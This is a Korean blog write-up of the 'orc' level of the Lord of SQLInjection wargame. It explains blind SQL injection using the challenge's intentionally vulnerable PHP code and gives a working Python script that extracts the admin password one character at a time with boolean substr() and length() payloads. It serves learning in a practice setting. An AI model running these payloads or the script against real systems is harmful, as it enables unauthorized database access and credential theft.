네 번째 문제인 오크다.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>
이번 문제부터는 본격적으로 어려워지기 시작하는데 일단 이전 문제들과 다른 점은 두 개의 쿼리가 실행된다는 것이다. 첫번째 쿼리 "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"에서는 id가 admin, pw가 사용자 입력인 데이터의 id 컬럼을 조회하고 admin이라면 "Hello admin"이라는 메시지를 출력한다. 그런데 이전과는 달리 solve()가 이쪽에서 이루어지지 않는다.
두 번째 쿼리 "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"에서는 id가 admin, pw가 사용자 입력인 데이터의 pw 컬럼을 조회하고 데이터가 있으며 사용자가 입력한 값과 동일하면 solve() 함수를 호출하여 문제를 해결한다. 조회된 데이터의 pw 컬럼이 사용자가 입력한 값과 동일하다는 게 무슨 뜻일까? 이는 바로 admin 계정의 비밀번호를 사용자가 정확히 입력하도록 요구하는 것이다. 이전까지는 "' or '1'='1'#" 같은 쿼리를 통해 인증과정을 우회했지만 이번에는 아이디와 비밀번호를 모두 정확히 입력하여 이 문제를 해결해야된다.
언뜻 보면 이 문제는 풀 수 없을 것처럼 보인다. 현재 출력결과는 id만 조회하고 있는데 여기서 어떻게 pw 컬럼의 데이터를 알아낼 수가 있단 말인가? 이는 Blind SQL Injection을 이용하여 해결할 수 있다.
Blind SQL Injection은 데이터베이스에 참 혹은 거짓 값을 갖는 쿼리문을 질의하여 그 결과를 바탕으로 정보를 얻어내는 방법이다. 이전에는 따옴표, 쌍따옴표 등을 이용하여 인증과정을 단순히 우회했다면 이번에는 데이터베이스 자체에 쿼리문을 질의하여 그 결과를 바탕으로 어떤 미세한 정보(테이블 이름이라던지)를 얻어 이를 조합, 활용할 수 있는 것이다. 이는 여러 기법(time-taking operation, boolean expression 등)이 있겠지만 지금 필요한 건 다른 컬럼에 있는 데이터기 때문에 문자열에 관련된 substr(), left(), right() 같은 mysql 함수를 사용해볼 수 있다.
그 중에서도 substr()이 유용한데 이는 문자열의 일부분을 반환해주는 함수다. 이를 어떻게 사용한다는 것일까? 먼저 mysql에서 쿼리문이 어떻게 동작하는지 생각해 볼 필요가 있다. 예를 들어 prob_orc 테이블에 id가 'admin', pw가 'password'인 데이터(row)가 존재한다고 했을 때 이를 조회하려면 보통 아래처럼 수행할 수 있다.
여기서 눈여겨 볼 것은 where 지시어 뒤의 조건들이다. 현재 id가 'admin'인 데이터를 원하기 때문에 일단 먼저 id 컬럼값이 'admin'인 데이터가 선택된다. 'and'로 조건들이 연결되어 있기 때문에 그 중에서도 pw가 'password'인 데이터를 선택하여 해당 데이터의 id 컬럼값을 사용자에게 반환한다. 이렇게 '컬럼명 = 데이터'처럼 필터링하는게 거의 당연시되어왔지만 다른 식으로 필터링해본다면 어떨까? 예를 들어 문자열의 길이를 측정하는 length() 함수를 전달해보자.
동일하게 id는 'admin', pw는 길이가 0을 넘는 데이터를 조회했더니 이전과 마찬가지로 admin 데이터가 조회된 것을 볼 수 있다. admin의 비밀번호인 'password'를 꼭 맞추지 않아도 어쨌든 비밀번호의 길이가 0 이상이면 참인 조건을 쿼리에 삽입하여 이같은 결과를 얻어낼 수 있는 것이다. 즉 "pw='password'"같은 구문도 결국에는 참, 거짓 조건문이기 때문에 이를 우리가 결과를 예측할 수 있는 조건문으로 조작한다면 해당 조건문의 변수들을 조작하면서 정보를 얻어낼 수 있는 것이다. 이제 substr()을 어떻게 활용할 지 감이 오는가?
간단하게 그림으로 그려보면 위와 같다. 어떤 조건식을 작성하여 데이터베이스의 pw 컬럼에 있는 비밀번호 데이터들에 대해 substr() 함수를 이용해 한 글자씩 추출하도록 한다. 그리고 이 추출된 글자가 알파벳 'a'가 맞는지 DB에 물어본다. 그러면 DB는 맞다면 맞다고 할 것이고, 틀리면 틀리다고 하는 일종의 오라클이 된다. 만약 맞을 경우 이 조건식은 참이 되기 때문에 쿼리의 where 절은 결과적으로 모두 참이 되어 유효한 쿼리 결과를 얻을 수 있는 것이다. 만약 틀렸다면 다른 값을 비교해서 맞는지 확인하면 된다. 그렇게 맞을 때까지 비교함으로써 이 추출된 글자가 무엇인지 확인, 나머지 글자들도 이렇게 비교함으로써 이를 조합하여 전체 문자열을 알아낼 수 있는 것이다. 그렇다면 유효한 쿼리 결과란 무엇일까? 여기서는 "Hello admin"이란 문자열이 출력되는 것이다.
이전 문제에서 하던 것처럼 pw에 아무 값이나 넣어주고 OR 연산으로 참이 되는 조건식을 전달해주면 "Hello admin"이라는 결과로써 쿼리가 성공(where 이후 조건이 전부 참)했다는 것을 알 수 있다. 그럼 참이 되는 조건식을 만들기 위해 length() 함수를 사용해보자.
admin의 비밀번호든 다른 id의 비밀번호든 일단 길이가 0을 넘을테니 항상 참이 되는 것을 알 수 있다. 그럼 이제 substr() 함수를 사용해서 admin의 비밀번호에 대한 단서를 조금씩 얻어보자(사용법은 링크에 나와있다).
admin 계정의 비밀번호가 첫 번째 글자가 'a'가 아닌지 아무런 문자열도 출력되지 않았다. 즉 쿼리가 실패(where 이후 조건 중 거짓이 있음)했다는 것을 알 수 있다. mysql에서 OR, AND 연산자는 우선순위가 있기 때문에 'admin' 계정의 비밀번호를 알아내기 위해 한번 더 id 컬럼을 'admin'으로 제한했다. 아무튼 'a'가 아니라면 'z'까지 일일히 확인해야 하는 수밖에 없다. 그런데 사실 비밀번호가 알파벳만으로 구성되어 있다는 보장은 없지 않은가? passw0rd처럼 숫자가 섞여 있을 수도 있고 pa~~word처럼 특수 문자가 섞여 있을 수도 있다. 그래서 유니코드같은게 섞이지 않은 일반적인 아스키 코드까지만 해도 수십개의 문자를 일일히 검사해봐야 한다는 문제가 발생한다.
실제로 이번 문제의 비밀번호의 첫번째 글자는 알파벳이 아닌 숫자 '0'이었다. 그래서 결국 'a'부터 'z'까지 26번을 시도하고 나서야 찾을 수 있었는데 문제는 비밀번호의 길이가 한글자가 아닐 수 있다는 것이다. 실제로 비밀번호를 입력해보면 아직도 쿼리가 실패하는 것을 볼 수 있다.
그럼 몇 번을 더 시도해야 하는 것일까? 이전처럼 length() 함수를 이용해서 숫자 '0'부터 비교하다보면 비밀번호의 길이를 찾을 수 있겠지만 지금부터는 파이썬 코드를 활용해서 조금 자동화해보도록 하자(이곳을 참고했다).
import requests
password = ''
password_length = 0
URL = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': 'INSERT_YOUR_COOKIE_HERE'}
for estimated_length in range(100):
query={'pw': '\' || id=\'admin\' && length(pw) < '+str(estimated_length)+'#'}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
password_length = estimated_length - 1
print("admin's password length is {}".format(password_length))
break
if password_length < 1:
print("Password length unknown")
exit()
for current_password_length in range(1, password_length+1) :
for password_chr in range(ord('0'),ord('z')+1) :
query={'pw': '\' || substr(pw,1,'+str(current_password_length)+')=\''+password+chr(password_chr)+'\'#'}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
password=password+chr(password_chr)
print(password)
break
if len(password) == password_length:
print("Got it. Password is {} or {}.".format(password.upper(), password.lower()))
Python의 requests 모듈을 활용하여 작성한 자동화 스크립트다. 먼저 쿼리의 pw 파라미터에는 "' || id='admin' && length(pw) < 변수#"처럼 구성해서 변수의 값이 증가함에 따라 서로다른 쿼리를 보낼 수 있도록 구현하였다. 변수는 0부터 99까지 증가하며 비밀번호의 길이가 변수의 값보다 작아지는 순간 참이 되기 때문에 "Hello admin"이라는 문자열을 응답 HTML에서 탐색하여 판단한다.
rubiya.kr에서는 PHPSESSID 쿠키를 유지하기 때문에 EditThisCookie 확장 프로그램이나 기타 방법으로 자신의 쿠키를 파악하여 "INSERT_YOUR_COOKIE_HERE" 문자열 대신에 삽입, request 요청 시 같이 보내주도록 하자.
그렇게 비밀번호의 길이를 찾았다면 이를 기반으로 다시 for 반복문을 통해 쿼리의 pw 파라미터에 "' || substr(pw, 1, 변수1)='변수2'#"처럼 구성해서 비밀번호의 각 글자를 찾을 때마다 조건문을 업데이트하는 방식으로 구현하였다. substr() 함수의 세번째 매개변수인 변수1은 두번째 매개변수부터 몇 글자나 읽을지 결정하는 값이다. 그래서 비밀번호 문자열의 첫 글자부터 시작해서 한글자씩 찾을 때마다 변수1을 증가시키고 변수2에 새로 찾은 글자를 비밀번호 문자열에 붙인 후 다시 탐색한다. 약간 복잡해보이지만 직접 일일히 URL 창에 한글자씩 바꿔가면서 치는 것보다는 날 것이다.
그래서 프로그램을 실행해보면 admin 계정의 비밀번호는 8글자였다는 말과 함께 한 글자씩 탐색하면서 점점 완성되는 비밀번호 문자열을 볼 수 있다. 이때 대소문자 차이로 인해 인증이 안될 수 있으니 소문자를 우선으로 시도해보자.
탐색된 비밀번호가 맞았고 문제를 클리어할 수 있었다.
이번 문제에서 정말 오래 생각했던 것 같다. 3문제정도 풀면서 일단 preg_match()로 필터링되는 문자들은 사용 못하는 걸로 알고 괜히 쓸데없는걸 우회하려는 시도는 하지 않았는데 쿼리에서 분명히 'select id'만 하고 있는데 어떻게 pw 컬럼의 데이터를 출력시키지? 하는 생각이 계속 머리속에 머물러 있어서 어려웠던 것 같다. 이런저런 기법을 검색하다가 결국은 Blind SQL Injection이라는 기법을 이용해 풀 수 있어서 다행이었는데 SQL Injection으로 정보를 조각조각 모아서 완성시킨다는 공격이 참 신기하기도 했고 매력적이었다. C언어나 자바 등 다른 언어에서 substr()과 비슷한 문자열 치환 함수를 여러번 사용해봤기 때문에 함수 사용 자체는 별 문제가 없었는데 글자를 하나하나 바꿔가면서 확인하는 과정이 너무 오래 걸려서 이게 맞나 싶기도 하고 하나씩 하기도 힘들었던 것 같다. 지금에서야 다른 비슷한 문제도 몇 번 풀면서 파이썬으로 자동화하는 코드를 작성했지만 이 문제를 처음 풀때만 해도 저 8글자를 알파벳 a부터 z까지, 숫자 0부터 9까지 일일히 확인해보면서 메모장에 적어서 비밀번호를 찾았던 기억이 있다.
'챌린지 > los.rubiya.kr' 카테고리의 다른 글
Lord of SQLInjection - darkelf (0) | 2020.12.27 |
---|---|
Lord of SQLInjection - wolfman (0) | 2020.12.22 |
Lord of SQLInjection - goblin (0) | 2020.12.17 |
Lord of SQLInjection - cobolt (0) | 2020.12.16 |
Lord of SQLInjection - gremlin (0) | 2020.12.15 |